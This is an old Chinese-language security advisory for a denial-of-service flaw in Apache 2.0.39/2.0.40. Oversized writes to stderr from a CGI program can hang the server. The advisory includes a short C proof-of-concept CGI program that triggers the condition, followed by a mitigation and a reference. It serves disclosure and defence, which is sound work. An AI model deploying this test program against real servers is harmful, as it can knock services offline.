Apache超长STDERR缓冲区导致拒绝服务攻击漏洞发布时间:2002-09-27 更新时间:2002-09-27 严重程度:中 威胁程度:远程拒绝服务 错误类型:意外情况处置错误 利用方式:服务器模式 BUGTRAQ ID:5787 受影响系统 Apache Software Foundation Apache 2.0.39详细描述 Apache当过多的数据写到stderr时可导致拒绝服务攻击。攻击者可以向APACHE服务器提交超过操作系统默认分配给stderr的缓冲区大小,可导致产生拒绝服务。 在Apache 2.0.39/2.0.40 LINUX上证实存在这个漏洞。 测试代码 // Credit to: K.C. Wong #include <stdio.h> #include <time.h> #include <unistd.h> #include <fcntl.h> #define SIZE 4075 void out_err() { char buffer[SIZE]; int i = 0; for (i = 0; i < SIZE - 1; ++i) buffer[i] = 'a' + (char )(i % 26); buffer[SIZE - 1] = '\0'; // fcntl(2, F_SETFL, fcntl(2, F_GETFL) | O_NONBLOCK); fprintf(stderr, "short test\n"); fflush(stderr); fprintf(stderr, "test error=%s\n", buffer); fflush(stderr); } // out_err() int main(int argc, char ** argv) { fprintf(stdout, "Context-Type: text/html\r\n"); fprintf(stdout, "\r\n\r\n"); out_err(); fprintf(stdout, "<HTML>\n"); fprintf(stdout, "<body>\n"); fprintf(stdout, "<h1>hello world</h1>\n"); fprintf(stdout, "</body>\n"); fprintf(stdout, "</HTML>\n"); fflush(stdout); exit(0); } // main() 解决方案 限制WEB应用程序不写用户输入到stderr。 相关信息 shaddup@hush.com. 参考:http://online.securityfocus.com/archive/1/292953 |